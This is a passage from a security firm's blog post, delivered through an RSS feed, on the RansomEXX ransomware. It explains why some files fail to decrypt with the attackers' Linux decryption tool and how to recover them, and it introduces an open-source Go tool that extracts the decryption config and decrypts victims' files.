<strong>DeCryptOneBlock </strong>function to decrypt the file block by block. This function decrypts files in the same way the ransomware encrypted them, calculating which crypt logic configuration to use based on the original file size.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*1S5o-3ssgEfUKGLFMPg9bg.png" /></figure><p>The <strong>DeCryptOneBlock </strong>function is a simple function which decrypts one 16-byte chunk of a file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*5QDq2fI0FS3UOX5W9CNVnA.png" /></figure><h4>Files Failing to Decrypt</h4><p>When running this decryption tool on a directory of files, you may find that some files do not decrypt but no visible error is shown. This is due to the bug in the encryption process — files that are being written to at the time of the encryption may be corrupted, especially if the ransomware has already added the “header.” This happens because the ransomware does not lock the files to prevent other applications from writing to them during encryption.</p><p>This can be seen in the following screenshot. Above the line highlighted in red is encrypted data, below is the legitimate log data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*2DslWjjJVmPalOGWSbQQAg.png" /></figure><p>When the decryption tool attempts to decrypt a file, it reads the RSA encrypted AES key and IV from the end of the file, parsing the unencrypted log data that was appended as a blob of RSA encrypted data. This causes the call to <strong>mbedtls_rsa_pkcs1_decrypt </strong>to fail. This is demonstrated below — note the return value in <strong>rax </strong>is non-zero right after the call to <strong>mbedtls_rsa_pkcs1_decrypt</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*WCy7qmyeCB-no9s4vopJ8Q.png" /></figure><p>The decryption tool does not report this error to the user and instead will silently fail and move on to the next file.</p><h4>Recovering the Corrupted Files</h4><p>Due to the above bug in the encryption process, some files encrypted by this malware could have been written to by a legitimate application during the encryption process, corrupting the file. If the nature of this corruption is simple, such as ASCII log file data being appended after the encrypted portion of the file, a file can be easily recovered.</p><p>During encryption, the malware will append each file with RSA encrypted key information required to decrypt a file once a ransom is paid. When a file is being decrypted this information is read from the end of the file, decrypted with the RSA private key, and then used to decrypt the file. For decryption to work in the case that legitimate data has been appended after the key information we need to truncate the file to remove this data, decrypt the file, and then append the data previously truncated.</p><p>In the example below the file would need to be truncated to <strong>0x000013b8 </strong>bytes in size. The decryption tool will then run correctly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*2DslWjjJVmPalOGWSbQQAg.png" /></figure><p>If the nature of the corruption is more complex than the above example it may still be possible to recover the file by untangling the encrypted and unencrypted data and then splicing it back together in the correct order but if the legitimate file data was high entropy data (such as an encrypted file) this would likely be impossible.</p><h3>Config Extractor and Decryption Tool</h3><p>Because the attackers provide paying victims with a decryption tool they must run to decrypt their files there is a risk that the decryption tool may be malicious. This requires affected victims to reverse engineer the provided decryption tool to ensure there is no hidden payload or malicious features, a time investment that can be problematic for some organizations during a ransomware incident. Due to this we decided to write our own implementation of the Linux decryption tool which can be used to carry out the following tasks:</p><ul><li>Extract the config required to decrypt files from a Linux decryption tool provided by the attackers</li><li>Use this config to decrypt files encrypted by the Linux version of RansomEXX</li></ul><p>Today we are releasing this tool as an open-source command-line application written in Go. Its usage is as follows:</p><blockquote>Usage of ./ransomexx-tools:<br><strong> -config string</strong><br> Path of the extracted config file to use for decryption<br> <strong>-debug</strong><br> Log debug output<br><strong> -decrypt</strong><br> Decrypt a list of directories<br><strong>-decryption-tool string</strong><br> Path to the decryption tool to extract the config from. Required when using -exconfig<br> <strong>-dirs string</strong><br> A list of directories to recursively decrypt, separated by a comma<br><strong> -exconfig</strong><br> Extract the config from a decryption tool provided by the RansomEXX group<br> <strong>-num-workers int</strong><br> Number of workers to use for decryption (default 4)<br><strong> -out string</strong><br> The file to save the extracted config to.</blockquote><p>This tool can be found on our GitHub here: <a href="https://github.com/proferosec/RansomEXX-Tools">proferosec/RansomEXX-Tools (github.com)</a></p><h4>Extracting the Config</h4><p>To extract the config containing all decryption key information from a decryption tool provided by the attackers simply run the tool with the following parameters:</p><blockquote>./ransomexx-tools -exconfig -decryption-tool /path/to/attcker/provided/decryption-tool -out config.json</blockquote><p>You will then have a file in the current directory named config.json with the extracted configuration values.</p><h4>Decrypting Files</h4><p>Once the config has been extracted you can use this tool to decrypt your files instead of the attacker-provided decryption tool. Run the tool with the following parameters:</p><blockquote>./ransomexx-tools -decrypt -config config.json -dirs /path/to/decrypt,/second/path/to/decrypt</blockquote><p>The -decrypt mode takes the path to the config file in -config and a comma-separated list of directories to recursively search for files to decrypt in the -dirs parameter.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8e379bcaf701" width="1" height="1" alt=""><hr><p><a href="https://medium.com/proferosec-osm/ransomexx-fixing-corrupted-ransom-8e379bcaf701">RansomEXX, Fixing Corrupted Ransom</a> was originally published in <a href="https://medium.com/proferosec-osm">ProferoSec</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>